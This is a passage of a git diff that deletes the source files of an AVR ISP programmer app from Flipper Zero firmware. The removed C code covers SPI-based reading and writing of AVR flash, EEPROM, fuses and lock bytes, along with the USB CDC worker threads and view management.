- avr_isp_writer_view_free(app->avr_isp_writer_view); - - // Chip detect view - view_dispatcher_remove_view(app->view_dispatcher, AvrIspViewChipDetect); - avr_isp_chip_detect_view_free(app->avr_isp_chip_detect_view); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - // Close records - furi_record_close(RECORD_GUI); - - // Path strings - furi_string_free(app->file_path); - - free(app); -} - -int32_t avr_isp_app(void* p) { - UNUSED(p); - AvrIspApp* avr_isp_app = avr_isp_app_alloc(); - - view_dispatcher_run(avr_isp_app->view_dispatcher); - - avr_isp_app_free(avr_isp_app); - - return 0; -} diff --git a/applications/external/avr_isp_programmer/avr_isp_app_i.c b/applications/external/avr_isp_programmer/avr_isp_app_i.c deleted file mode 100644 index 7a7fa6d7f..000000000 --- a/applications/external/avr_isp_programmer/avr_isp_app_i.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "avr_isp_app_i.h" -#include -#include - -#define TAG "AvrIsp" - -bool avr_isp_load_from_file(AvrIspApp* app) { - furi_assert(app); - - FuriString* file_path = furi_string_alloc(); - FuriString* file_name = furi_string_alloc(); - - DialogsFileBrowserOptions browser_options; - dialog_file_browser_set_basic_options( - &browser_options, AVR_ISP_APP_EXTENSION, &I_avr_app_icon_10x10); - browser_options.base_path = STORAGE_APP_DATA_PATH_PREFIX; - - // Input events and views are managed by file_select - bool res = dialog_file_browser_show(app->dialogs, file_path, app->file_path, &browser_options); - - if(res) { - path_extract_dirname(furi_string_get_cstr(file_path), app->file_path); - path_extract_filename(file_path, file_name, true); - strncpy(app->file_name_tmp, furi_string_get_cstr(file_name), AVR_ISP_MAX_LEN_NAME); - } - - furi_string_free(file_name); - furi_string_free(file_path); - - return res; -} diff --git a/applications/external/avr_isp_programmer/avr_isp_app_i.h b/applications/external/avr_isp_programmer/avr_isp_app_i.h deleted file mode 100644 index 8a7dbc4b8..000000000 --- a/applications/external/avr_isp_programmer/avr_isp_app_i.h +++ /dev/null @@ -1,45 +0,0 @@ -#pragma once - -#include "helpers/avr_isp_types.h" -#include "avr_isp_icons.h" -#include - -#include "scenes/avr_isp_scene.h" -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "views/avr_isp_view_programmer.h" -#include "views/avr_isp_view_reader.h" -#include "views/avr_isp_view_writer.h" -#include "views/avr_isp_view_chip_detect.h" - -#define AVR_ISP_MAX_LEN_NAME 64 - -typedef struct { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notifications; - DialogsApp* dialogs; - Popup* popup; - Submenu* submenu; - Widget* widget; - TextInput* text_input; - FuriString* file_path; - char file_name_tmp[AVR_ISP_MAX_LEN_NAME]; - AvrIspProgrammerView* avr_isp_programmer_view; - AvrIspReaderView* avr_isp_reader_view; - AvrIspWriterView* avr_isp_writer_view; - AvrIspChipDetectView* avr_isp_chip_detect_view; - AvrIspError error; -} AvrIspApp; - -bool avr_isp_load_from_file(AvrIspApp* app); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp.c b/applications/external/avr_isp_programmer/helpers/avr_isp.c deleted file mode 100644 index 283c17bfd..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp.c +++ /dev/null @@ -1,496 +0,0 @@ -#include "avr_isp.h" -#include "../lib/driver/avr_isp_prog_cmd.h" -#include "../lib/driver/avr_isp_spi_sw.h" - -#include - -#define AVR_ISP_PROG_TX_RX_BUF_SIZE 320 -#define TAG "AvrIsp" - -struct AvrIsp { - AvrIspSpiSw* spi; - bool pmode; - AvrIspCallback callback; - void* context; -}; - -AvrIsp* avr_isp_alloc(void) { - AvrIsp* instance = malloc(sizeof(AvrIsp)); - return instance; -} - -void avr_isp_free(AvrIsp* instance) { - furi_assert(instance); - - if(instance->spi) avr_isp_end_pmode(instance); - free(instance); -} - -void avr_isp_set_tx_callback(AvrIsp* instance, AvrIspCallback callback, void* context) { - furi_assert(instance); - furi_assert(context); - - instance->callback = callback; - instance->context = context; -} - -uint8_t avr_isp_spi_transaction( - AvrIsp* instance, - uint8_t cmd, - uint8_t addr_hi, - uint8_t addr_lo, - uint8_t data) { - furi_assert(instance); - - avr_isp_spi_sw_txrx(instance->spi, cmd); - avr_isp_spi_sw_txrx(instance->spi, addr_hi); - avr_isp_spi_sw_txrx(instance->spi, addr_lo); - return avr_isp_spi_sw_txrx(instance->spi, data); -} - -static bool avr_isp_set_pmode(AvrIsp* instance, uint8_t a, uint8_t b, uint8_t c, uint8_t d) { - furi_assert(instance); - - uint8_t res = 0; - avr_isp_spi_sw_txrx(instance->spi, a); - avr_isp_spi_sw_txrx(instance->spi, b); - res = avr_isp_spi_sw_txrx(instance->spi, c); - avr_isp_spi_sw_txrx(instance->spi, d); - return res == 0x53; -} - -void avr_isp_end_pmode(AvrIsp* instance) { - furi_assert(instance); - - if(instance->pmode) { - avr_isp_spi_sw_res_set(instance->spi, true); - // We're about to take the target out of reset - // so configure SPI pins as input - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - instance->pmode = false; -} - -static bool avr_isp_start_pmode(AvrIsp* instance, AvrIspSpiSwSpeed spi_speed) { - furi_assert(instance); - - // Reset target before driving PIN_SCK or PIN_MOSI - - // SPI.begin() will configure SS as output, - // so SPI master mode is selected. - // We have defined RESET as pin 10, - // which for many arduino's is not the SS pin. - // So we have to configure RESET as output here, - // (reset_target() first sets the correct level) - if(instance->spi) avr_isp_spi_sw_free(instance->spi); - instance->spi = avr_isp_spi_sw_init(spi_speed); - - avr_isp_spi_sw_res_set(instance->spi, false); - // See avr datasheets, chapter "SERIAL_PRG Programming Algorithm": - - // Pulse RESET after PIN_SCK is low: - avr_isp_spi_sw_sck_set(instance->spi, false); - - // discharge PIN_SCK, value arbitrally chosen - furi_delay_ms(20); - avr_isp_spi_sw_res_set(instance->spi, true); - - // Pulse must be minimum 2 target CPU speed cycles - // so 100 usec is ok for CPU speeds above 20KHz - furi_delay_ms(1); - - avr_isp_spi_sw_res_set(instance->spi, false); - - // Send the enable programming command: - // datasheet: must be > 20 msec - furi_delay_ms(50); - if(avr_isp_set_pmode(instance, AVR_ISP_SET_PMODE)) { - instance->pmode = true; - return true; - } - return false; -} - -bool avr_isp_auto_set_spi_speed_start_pmode(AvrIsp* instance) { - furi_assert(instance); - - AvrIspSpiSwSpeed spi_speed[] = { - AvrIspSpiSwSpeed1Mhz, - AvrIspSpiSwSpeed400Khz, - AvrIspSpiSwSpeed250Khz, - AvrIspSpiSwSpeed125Khz, - AvrIspSpiSwSpeed60Khz, - AvrIspSpiSwSpeed40Khz, - AvrIspSpiSwSpeed20Khz, - AvrIspSpiSwSpeed10Khz, - AvrIspSpiSwSpeed5Khz, - AvrIspSpiSwSpeed1Khz, - }; - for(uint8_t i = 0; i < COUNT_OF(spi_speed); i++) { - if(avr_isp_start_pmode(instance, spi_speed[i])) { - AvrIspSignature sig = avr_isp_read_signature(instance); - AvrIspSignature sig_examination = avr_isp_read_signature(instance); //-V656 - uint8_t y = 0; - while(y < 8) { - if(memcmp((uint8_t*)&sig, (uint8_t*)&sig_examination, sizeof(AvrIspSignature)) != - 0) - break; - sig_examination = avr_isp_read_signature(instance); - y++; - } - if(y == 8) { - if(spi_speed[i] > AvrIspSpiSwSpeed1Mhz) { - if(i < (COUNT_OF(spi_speed) - 1)) { - avr_isp_end_pmode(instance); - i++; - return avr_isp_start_pmode(instance, spi_speed[i]); - } - } - return true; - } - } - } - - if(instance->spi) { - avr_isp_spi_sw_free(instance->spi); - instance->spi = NULL; - } - - return false; -} - -static void avr_isp_commit(AvrIsp* instance, uint16_t addr, uint8_t data) { - furi_assert(instance); - - avr_isp_spi_transaction(instance, AVR_ISP_COMMIT(addr)); - /* polling flash */ - if(data == 0xFF) { - furi_delay_ms(5); - } else { - /* polling flash */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(addr)) != 0xFF) { - break; - }; - } - } -} - -static uint16_t avr_isp_current_page(AvrIsp* instance, uint32_t addr, uint16_t page_size) { - furi_assert(instance); - - uint16_t page = 0; - switch(page_size) { - case 32: - page = addr & 0xFFFFFFF0; - break; - case 64: - page = addr & 0xFFFFFFE0; - break; - case 128: - page = addr & 0xFFFFFFC0; - break; - case 256: - page = addr & 0xFFFFFF80; - break; - - default: - page = addr; - break; - } - - return page; -} - -static bool avr_isp_flash_write_pages( - AvrIsp* instance, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - size_t x = 0; - uint16_t page = avr_isp_current_page(instance, addr, page_size); - - while(x < data_size) { - if(page != avr_isp_current_page(instance, addr, page_size)) { - avr_isp_commit(instance, page, data[x - 1]); - page = avr_isp_current_page(instance, addr, page_size); - } - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FLASH_LO(addr, data[x++])); - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FLASH_HI(addr, data[x++])); - addr++; - } - avr_isp_commit(instance, page, data[x - 1]); - return true; -} - -bool avr_isp_erase_chip(AvrIsp* instance) { - furi_assert(instance); - - bool ret = false; - if(!instance->pmode) avr_isp_auto_set_spi_speed_start_pmode(instance); - if(instance->pmode) { - avr_isp_spi_transaction(instance, AVR_ISP_ERASE_CHIP); - furi_delay_ms(100); - avr_isp_end_pmode(instance); - ret = true; - } - return ret; -} - -static bool - avr_isp_eeprom_write(AvrIsp* instance, uint16_t addr, uint8_t* data, uint32_t data_size) { - furi_assert(instance); - - for(uint16_t i = 0; i < data_size; i++) { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_EEPROM(addr, data[i])); - furi_delay_ms(10); - addr++; - } - return true; -} - -bool avr_isp_write_page( - AvrIsp* instance, - uint32_t mem_type, - uint32_t mem_size, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - bool ret = false; - switch(mem_type) { - case STK_SET_FLASH_TYPE: - if((addr + data_size / 2) <= mem_size) { - ret = avr_isp_flash_write_pages(instance, addr, page_size, data, data_size); - } - break; - - case STK_SET_EEPROM_TYPE: - if((addr + data_size) <= mem_size) { - ret = avr_isp_eeprom_write(instance, addr, data, data_size); - } - break; - - default: - furi_crash(TAG " Incorrect mem type."); - break; - } - - return ret; -} - -static bool avr_isp_flash_read_page( - AvrIsp* instance, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - if(page_size > data_size) return false; - for(uint16_t i = 0; i < page_size; i += 2) { - data[i] = avr_isp_spi_transaction(instance, AVR_ISP_READ_FLASH_LO(addr)); - data[i + 1] = avr_isp_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(addr)); - addr++; - } - return true; -} - -static bool avr_isp_eeprom_read_page( - AvrIsp* instance, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - if(page_size > data_size) return false; - for(uint16_t i = 0; i < page_size; i++) { - data[i] = avr_isp_spi_transaction(instance, AVR_ISP_READ_EEPROM(addr)); - addr++; - } - return true; -} - -bool avr_isp_read_page( - AvrIsp* instance, - uint32_t mem_type, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size) { - furi_assert(instance); - - bool res = false; - if(mem_type == STK_SET_FLASH_TYPE) - res = avr_isp_flash_read_page(instance, addr, page_size, data, data_size); - if(mem_type == STK_SET_EEPROM_TYPE) - res = avr_isp_eeprom_read_page(instance, addr, page_size, data, data_size); - - return res; -} - -AvrIspSignature avr_isp_read_signature(AvrIsp* instance) { - furi_assert(instance); - - AvrIspSignature signature; - signature.vendor = avr_isp_spi_transaction(instance, AVR_ISP_READ_VENDOR); - signature.part_family = avr_isp_spi_transaction(instance, AVR_ISP_READ_PART_FAMILY); - signature.part_number = avr_isp_spi_transaction(instance, AVR_ISP_READ_PART_NUMBER); - return signature; -} - -uint8_t avr_isp_read_lock_byte(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_LOCK_BYTE); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_LOCK_BYTE) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_lock_byte(AvrIsp* instance, uint8_t lock) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_lock_byte(instance) == lock) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_LOCK_BYTE(lock)); - /* polling lock byte */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_LOCK_BYTE) == lock) { - ret = true; - break; - }; - } - } - return ret; -} - -uint8_t avr_isp_read_fuse_low(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_LOW); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_LOW) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_fuse_low(AvrIsp* instance, uint8_t lfuse) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_fuse_low(instance) == lfuse) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FUSE_LOW(lfuse)); - /* polling fuse */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_LOW) == lfuse) { - ret = true; - break; - }; - } - } - return ret; -} - -uint8_t avr_isp_read_fuse_high(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_HIGH); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_HIGH) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_fuse_high(AvrIsp* instance, uint8_t hfuse) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_fuse_high(instance) == hfuse) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FUSE_HIGH(hfuse)); - /* polling fuse */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_HIGH) == hfuse) { - ret = true; - break; - }; - } - } - return ret; -} - -uint8_t avr_isp_read_fuse_extended(AvrIsp* instance) { - furi_assert(instance); - - uint8_t data = 0; - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 300) { - data = avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_EXTENDED); - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_EXTENDED) == data) { - break; - }; - data = 0x00; - } - return data; -} - -bool avr_isp_write_fuse_extended(AvrIsp* instance, uint8_t efuse) { - furi_assert(instance); - - bool ret = false; - if(avr_isp_read_fuse_extended(instance) == efuse) { - ret = true; - } else { - avr_isp_spi_transaction(instance, AVR_ISP_WRITE_FUSE_EXTENDED(efuse)); - /* polling fuse */ - uint32_t starttime = furi_get_tick(); - while((furi_get_tick() - starttime) < 30) { - if(avr_isp_spi_transaction(instance, AVR_ISP_READ_FUSE_EXTENDED) == efuse) { - ret = true; - break; - }; - } - } - return ret; -} - -void avr_isp_write_extended_addr(AvrIsp* instance, uint8_t extended_addr) { - furi_assert(instance); - - avr_isp_spi_transaction(instance, AVR_ISP_EXTENDED_ADDR(extended_addr)); - furi_delay_ms(10); -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp.h b/applications/external/avr_isp_programmer/helpers/avr_isp.h deleted file mode 100644 index 476fc3d64..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp.h +++ /dev/null @@ -1,70 +0,0 @@ -#pragma once - -#include - -typedef struct AvrIsp AvrIsp; -typedef void (*AvrIspCallback)(void* context); - -struct AvrIspSignature { - uint8_t vendor; - uint8_t part_family; - uint8_t part_number; -}; - -typedef struct AvrIspSignature AvrIspSignature; - -AvrIsp* avr_isp_alloc(void); - -void avr_isp_free(AvrIsp* instance); - -void avr_isp_set_tx_callback(AvrIsp* instance, AvrIspCallback callback, void* context); - -bool avr_isp_auto_set_spi_speed_start_pmode(AvrIsp* instance); - -AvrIspSignature avr_isp_read_signature(AvrIsp* instance); - -void avr_isp_end_pmode(AvrIsp* instance); - -bool avr_isp_erase_chip(AvrIsp* instance); - -uint8_t avr_isp_spi_transaction( - AvrIsp* instance, - uint8_t cmd, - uint8_t addr_hi, - uint8_t addr_lo, - uint8_t data); - -bool avr_isp_read_page( - AvrIsp* instance, - uint32_t memtype, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size); - -bool avr_isp_write_page( - AvrIsp* instance, - uint32_t mem_type, - uint32_t mem_size, - uint16_t addr, - uint16_t page_size, - uint8_t* data, - uint32_t data_size); - -uint8_t avr_isp_read_lock_byte(AvrIsp* instance); - -bool avr_isp_write_lock_byte(AvrIsp* instance, uint8_t lock); - -uint8_t avr_isp_read_fuse_low(AvrIsp* instance); - -bool avr_isp_write_fuse_low(AvrIsp* instance, uint8_t lfuse); - -uint8_t avr_isp_read_fuse_high(AvrIsp* instance); - -bool avr_isp_write_fuse_high(AvrIsp* instance, uint8_t hfuse); - -uint8_t avr_isp_read_fuse_extended(AvrIsp* instance); - -bool avr_isp_write_fuse_extended(AvrIsp* instance, uint8_t efuse); - -void avr_isp_write_extended_addr(AvrIsp* instance, uint8_t extended_addr); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_event.h b/applications/external/avr_isp_programmer/helpers/avr_isp_event.h deleted file mode 100644 index c704b5b35..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_event.h +++ /dev/null @@ -1,23 +0,0 @@ -#pragma once - -typedef enum { - //SubmenuIndex - SubmenuIndexAvrIspProgrammer = 10, - SubmenuIndexAvrIspReader, - SubmenuIndexAvrIspWriter, - SubmenuIndexAvrIsWiring, - SubmenuIndexAvrIspAbout, - - //AvrIspCustomEvent - AvrIspCustomEventSceneChipDetectOk = 100, - AvrIspCustomEventSceneReadingOk, - AvrIspCustomEventSceneWritingOk, - AvrIspCustomEventSceneErrorVerification, - AvrIspCustomEventSceneErrorReading, - AvrIspCustomEventSceneErrorWriting, - AvrIspCustomEventSceneErrorWritingFuse, - AvrIspCustomEventSceneInputName, - AvrIspCustomEventSceneSuccess, - AvrIspCustomEventSceneExit, - AvrIspCustomEventSceneExitStartMenu, -} AvrIspCustomEvent; diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_types.h b/applications/external/avr_isp_programmer/helpers/avr_isp_types.h deleted file mode 100644 index 5e174ec3b..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_types.h +++ /dev/null @@ -1,32 +0,0 @@ -#pragma once - -#include -#include - -#define AVR_ISP_VERSION_APP "0.1" -#define AVR_ISP_DEVELOPED "SkorP" -#define AVR_ISP_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -#define AVR_ISP_APP_FILE_VERSION 1 -#define AVR_ISP_APP_FILE_TYPE "Flipper Dump AVR" -#define AVR_ISP_APP_EXTENSION ".avr" - -typedef enum { - //AvrIspViewVariableItemList, - AvrIspViewSubmenu, - AvrIspViewProgrammer, - AvrIspViewReader, - AvrIspViewWriter, - AvrIspViewWidget, - AvrIspViewPopup, - AvrIspViewTextInput, - AvrIspViewChipDetect, -} AvrIspView; - -typedef enum { - AvrIspErrorNoError, - AvrIspErrorReading, - AvrIspErrorWriting, - AvrIspErrorVerification, - AvrIspErrorWritingFuse, -} AvrIspError; \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.c b/applications/external/avr_isp_programmer/helpers/avr_isp_worker.c deleted file mode 100644 index dfe1f43c2..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.c +++ /dev/null @@ -1,266 +0,0 @@ -#include "avr_isp_worker.h" -#include -#include "../lib/driver/avr_isp_prog.h" -#include "../lib/driver/avr_isp_prog_cmd.h" -#include "../lib/driver/avr_isp_chip_arr.h" - -#include - -#define TAG "AvrIspWorker" - -typedef enum { - AvrIspWorkerEvtStop = (1 << 0), - - AvrIspWorkerEvtRx = (1 << 1), - AvrIspWorkerEvtTxCoplete = (1 << 2), - AvrIspWorkerEvtTx = (1 << 3), - AvrIspWorkerEvtState = (1 << 4), - - //AvrIspWorkerEvtCfg = (1 << 5), - -} AvrIspWorkerEvt; - -struct AvrIspWorker { - FuriThread* thread; - volatile bool worker_running; - uint8_t connect_usb; - AvrIspWorkerCallback callback; - void* context; -}; - -#define AVR_ISP_WORKER_PROG_ALL_EVENTS (AvrIspWorkerEvtStop) -#define AVR_ISP_WORKER_ALL_EVENTS \ - (AvrIspWorkerEvtTx | AvrIspWorkerEvtTxCoplete | AvrIspWorkerEvtRx | AvrIspWorkerEvtStop | \ - AvrIspWorkerEvtState) - -//########################/* VCP CDC */############################################# -#include "usb_cdc.h" -#include -#include -#include - -#define AVR_ISP_VCP_CDC_CH 1 -#define AVR_ISP_VCP_CDC_PKT_LEN CDC_DATA_SZ -#define AVR_ISP_VCP_UART_RX_BUF_SIZE (AVR_ISP_VCP_CDC_PKT_LEN * 5) - -static void vcp_on_cdc_tx_complete(void* context); -static void vcp_on_cdc_rx(void* context); -static void vcp_state_callback(void* context, uint8_t state); -static void vcp_on_cdc_control_line(void* context, uint8_t state); -static void vcp_on_line_config(void* context, struct usb_cdc_line_coding* config); - -static const CdcCallbacks cdc_cb = { - vcp_on_cdc_tx_complete, - vcp_on_cdc_rx, - vcp_state_callback, - vcp_on_cdc_control_line, - vcp_on_line_config, -}; - -/* VCP callbacks */ - -static void vcp_on_cdc_tx_complete(void* context) { - furi_assert(context); - AvrIspWorker* instance = context; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtTxCoplete); -} - -static void vcp_on_cdc_rx(void* context) { - furi_assert(context); - AvrIspWorker* instance = context; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtRx); -} - -static void vcp_state_callback(void* context, uint8_t state) { - UNUSED(context); - - AvrIspWorker* instance = context; - instance->connect_usb = state; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtState); -} - -static void vcp_on_cdc_control_line(void* context, uint8_t state) { - UNUSED(context); - UNUSED(state); -} - -static void vcp_on_line_config(void* context, struct usb_cdc_line_coding* config) { - UNUSED(context); - UNUSED(config); -} - -static void avr_isp_worker_vcp_cdc_init(void* context) { - furi_hal_usb_unlock(); - Cli* cli = furi_record_open(RECORD_CLI); - //close cli - cli_session_close(cli); - //disable callbacks VCP_CDC=0 - furi_hal_cdc_set_callbacks(0, NULL, NULL); - //set 2 cdc - furi_check(furi_hal_usb_set_config(&usb_cdc_dual, NULL) == true); - //open cli VCP_CDC=0 - cli_session_open(cli, &cli_vcp); - furi_record_close(RECORD_CLI); - - furi_hal_cdc_set_callbacks(AVR_ISP_VCP_CDC_CH, (CdcCallbacks*)&cdc_cb, context); -} - -static void avr_isp_worker_vcp_cdc_deinit(void) { - //disable callbacks AVR_ISP_VCP_CDC_CH - furi_hal_cdc_set_callbacks(AVR_ISP_VCP_CDC_CH, NULL, NULL); - - Cli* cli = furi_record_open(RECORD_CLI); - //close cli - cli_session_close(cli); - furi_hal_usb_unlock(); - //set 1 cdc - furi_check(furi_hal_usb_set_config(&usb_cdc_single, NULL) == true); - //open cli VCP_CDC=0 - cli_session_open(cli, &cli_vcp); - furi_record_close(RECORD_CLI); -} - -//################################################################################# - -static int32_t avr_isp_worker_prog_thread(void* context) { - AvrIspProg* prog = context; - FURI_LOG_D(TAG, "AvrIspProgWorker Start"); - while(1) { - if(furi_thread_flags_get() & AvrIspWorkerEvtStop) break; - avr_isp_prog_avrisp(prog); - } - FURI_LOG_D(TAG, "AvrIspProgWorker Stop"); - return 0; -} - -static void avr_isp_worker_prog_tx_data(void* context) { - furi_assert(context); - AvrIspWorker* instance = context; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtTx); -} - -/** Worker thread - * - * @param context - * @return exit code - */ -static int32_t avr_isp_worker_thread(void* context) { - AvrIspWorker* instance = context; - avr_isp_worker_vcp_cdc_init(instance); - - /* start PWM on &gpio_ext_pa4 */ - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 4000000, 50); - - AvrIspProg* prog = avr_isp_prog_init(); - avr_isp_prog_set_tx_callback(prog, avr_isp_worker_prog_tx_data, instance); - - uint8_t buf[AVR_ISP_VCP_UART_RX_BUF_SIZE]; - size_t len = 0; - - FuriThread* prog_thread = - furi_thread_alloc_ex("AvrIspProgWorker", 1024, avr_isp_worker_prog_thread, prog); - furi_thread_start(prog_thread); - - FURI_LOG_D(TAG, "Start"); - - while(instance->worker_running) { - uint32_t events = - furi_thread_flags_wait(AVR_ISP_WORKER_ALL_EVENTS, FuriFlagWaitAny, FuriWaitForever); - - if(events & AvrIspWorkerEvtRx) { - if(avr_isp_prog_spaces_rx(prog) >= AVR_ISP_VCP_CDC_PKT_LEN) { - len = furi_hal_cdc_receive(AVR_ISP_VCP_CDC_CH, buf, AVR_ISP_VCP_CDC_PKT_LEN); - // for(uint8_t i = 0; i < len; i++) { - // FURI_LOG_I(TAG, "--> %X", buf[i]); - // } - avr_isp_prog_rx(prog, buf, len); - } else { - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtRx); - } - } - - if((events & AvrIspWorkerEvtTxCoplete) || (events & AvrIspWorkerEvtTx)) { - len = avr_isp_prog_tx(prog, buf, AVR_ISP_VCP_CDC_PKT_LEN); - - // for(uint8_t i = 0; i < len; i++) { - // FURI_LOG_I(TAG, "<-- %X", buf[i]); - // } - - if(len > 0) furi_hal_cdc_send(AVR_ISP_VCP_CDC_CH, buf, len); - } - - if(events & AvrIspWorkerEvtStop) { - break; - } - - if(events & AvrIspWorkerEvtState) { - if(instance->callback) - instance->callback(instance->context, (bool)instance->connect_usb); - } - } - - FURI_LOG_D(TAG, "Stop"); - - furi_thread_flags_set(furi_thread_get_id(prog_thread), AvrIspWorkerEvtStop); - avr_isp_prog_exit(prog); - furi_delay_ms(10); - furi_thread_join(prog_thread); - furi_thread_free(prog_thread); - - avr_isp_prog_free(prog); - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - avr_isp_worker_vcp_cdc_deinit(); - return 0; -} - -AvrIspWorker* avr_isp_worker_alloc(void* context) { - furi_assert(context); - UNUSED(context); - AvrIspWorker* instance = malloc(sizeof(AvrIspWorker)); - - instance->thread = furi_thread_alloc_ex("AvrIspWorker", 2048, avr_isp_worker_thread, instance); - return instance; -} - -void avr_isp_worker_free(AvrIspWorker* instance) { - furi_assert(instance); - - furi_check(!instance->worker_running); - furi_thread_free(instance->thread); - free(instance); -} - -void avr_isp_worker_set_callback( - AvrIspWorker* instance, - AvrIspWorkerCallback callback, - void* context) { - furi_assert(instance); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_worker_start(AvrIspWorker* instance) { - furi_assert(instance); - furi_assert(!instance->worker_running); - - instance->worker_running = true; - - furi_thread_start(instance->thread); -} - -void avr_isp_worker_stop(AvrIspWorker* instance) { - furi_assert(instance); - furi_assert(instance->worker_running); - - instance->worker_running = false; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerEvtStop); - - furi_thread_join(instance->thread); -} - -bool avr_isp_worker_is_running(AvrIspWorker* instance) { - furi_assert(instance); - - return instance->worker_running; -} diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.h b/applications/external/avr_isp_programmer/helpers/avr_isp_worker.h deleted file mode 100644 index cd9897dff..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once - -#include - -typedef struct AvrIspWorker AvrIspWorker; - -typedef void (*AvrIspWorkerCallback)(void* context, bool connect_usb); - -/** Allocate AvrIspWorker - * - * @param context AvrIsp* context - * @return AvrIspWorker* - */ -AvrIspWorker* avr_isp_worker_alloc(void* context); - -/** Free AvrIspWorker - * - * @param instance AvrIspWorker instance - */ -void avr_isp_worker_free(AvrIspWorker* instance); - -/** Callback AvrIspWorker - * - * @param instance AvrIspWorker instance - * @param callback AvrIspWorkerOverrunCallback callback - * @param context - */ -void avr_isp_worker_set_callback( - AvrIspWorker* instance, - AvrIspWorkerCallback callback, - void* context); - -/** Start AvrIspWorker - * - * @param instance AvrIspWorker instance - */ -void avr_isp_worker_start(AvrIspWorker* instance); - -/** Stop AvrIspWorker - * - * @param instance AvrIspWorker instance - */ -void avr_isp_worker_stop(AvrIspWorker* instance); - -/** Check if worker is running - * @param instance AvrIspWorker instance - * @return bool - true if running - */ -bool avr_isp_worker_is_running(AvrIspWorker* instance); diff --git a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.c b/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.c deleted file mode 100644 index b4c12cbc3..000000000 --- a/applications/external/avr_isp_programmer/helpers/avr_isp_worker_rw.c +++ /dev/null @@ -1,1157 +0,0 @@ -#include "avr_isp_worker_rw.h" -#include -#include "avr_isp_types.h" -#include "avr_isp.h" -#include "../lib/driver/avr_isp_prog_cmd.h" 